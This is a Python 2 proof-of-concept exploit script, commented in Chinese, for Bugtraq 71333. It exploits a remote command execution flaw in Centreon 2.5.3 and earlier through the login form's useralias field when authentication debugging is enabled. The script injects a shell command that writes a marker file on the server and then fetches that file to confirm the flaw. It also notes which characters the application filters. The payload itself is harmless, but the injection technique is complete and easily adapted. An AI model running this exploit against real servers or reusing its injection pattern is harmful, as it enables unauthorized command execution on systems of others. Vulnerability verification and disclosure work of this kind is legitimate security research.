Bugtraq ID:71333 PoC

#!/usr/bin/python
#coding: gb2312

# 文件名稱：centreon_exec_rce_poc.py
# 編寫時間：2014-12-09
# 更新時間：2015-07-17

# 漏洞說明：Centreon 'exec()' 函數遠程命令執行漏洞
# 影響版本：Centreon <= 2.5.3
# 特別說明：該漏洞的觸發條件是開啓了調試權限。具體配置參考：系統管理 -> 參數 -> 調試 -> 認證debug -> Yes

# 漏洞參考：
# Bugtraq ID:71333
# http://www.securityfocus.com/bid/71333/

import sys
import urllib

flag = "leng_que"

# 備註：Centreon內部會把`號過濾掉，同時會把*號轉換爲\*
shell_cmd = "echo -n '"+flag+"' > leng_que.txt;"

def main(centreon_server_url):
    post_data = urllib.urlencode({"useralias": "\";"+shell_cmd+"\"", "password": "leng_que", "submit": "leng_que"})
    r = urllib.urlopen(centreon_server_url, post_data)
    if ( 200 == r.getcode() ):
        test_file_url = centreon_server_url+"/leng_que.txt"
        r = urllib.urlopen(test_file_url)
        if ( 200 == r.getcode() and flag == r.read() ):
            print "漏洞肯定存在"
        else:
            print "漏洞或許不存在"
    else:
        print "無法判斷漏洞是否存在"

if __name__ == '__main__':
    if (2 == len(sys.argv)):
        main(sys.argv[1])
    else:
        print "用法示例: centreon_exec_rce_poc.py http://192.168.0.194"